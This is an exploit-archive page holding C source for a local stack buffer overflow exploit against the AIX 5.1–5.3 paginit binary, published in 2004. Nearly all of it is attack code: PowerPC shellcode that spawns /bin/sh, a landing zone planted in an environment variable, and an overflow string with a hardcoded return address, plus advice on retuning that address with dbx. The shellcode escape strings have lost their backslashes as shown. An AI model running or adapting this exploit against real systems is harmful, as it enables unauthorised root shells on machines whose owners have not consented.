[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : AIX 5.1 to 5.3 paginit Local Stack Overflow Exploit
# Published : 2004-12-20
# Author : cees-bart
# Previous Title : Ultrix 4.5/MIPS dxterm Local Buffer Overflow Exploit
# Next Title : FirstClass Desktop 7.1 (latest) Buffer Overflow Exploit


/* exploit for /usr/bin/paginit
   tested on: AIX 5.2

   if the exploit fails it's because the shellcode
   ends up at a different address. use dbx to check,
   and change RETADDR accordingly.

   cees-bart <ceesb cs ru nl>
*/

#define RETADDR 0x2ff22c90

char shellcode[] =
"x7cxa5x2ax79"
"x40x82xffxfd"      
"x7cxa8x02xa6"      
"x38xe0x11x11"
"x39x20x48x11"      
"x7cxc7x48x10"      
"x38x46xc9x05"      
"x39x25x11x11"
"x38x69xefx17"      
"x38x87xeexef"      
"x7cxc9x03xa6"      
"x4ex80x04x20"
"x2fx62x69x6e"      
"x2fx73x68x00"
;

char envlabel[] = "X=";

void printint(char* buf, int x) {
  buf[0] = x >> 24;
  buf[1] = (x >> 16) & 0xff;
  buf[2] = (x >> 8) & 0xff;
  buf[3] = x & 0xff;
}

int main(int argc, char **argv) {
  char *env[3];
  char code[1000];
  char buf[8000];
  char *p, *i;
  int offset1 = 0;

  offset1 = 0; // atoi(argv[1]);
  
  memset(code, 'C', sizeof(code));
  memcpy(code, envlabel,sizeof(envlabel)-1);
  // landingzone 
  for(i=code+sizeof(envlabel)+offset1; i<code+sizeof(code); i+=4) 
    printint(i, 0x7ca52a79);

  memcpy(code+sizeof(code)-sizeof(shellcode), shellcode, sizeof(shellcode)-1);  
  code[sizeof(code)-1] = 0;
  
  env[0] = code;
  env[1] = 0;

  memset(buf, 'A', sizeof(buf));
  buf[sizeof(buf)-1] = 0; 
  
  p = buf;
  p += 4114;
  printint(p,RETADDR); // try to hit the landingzone
  p += 72;
  printint(p, RETADDR); // any readable address (apparently not overwritten)

  execle("/usr/bin/paginit", "/usr/bin/paginit", buf, 0, env);
}

// www.Syue.com [2004-12-20]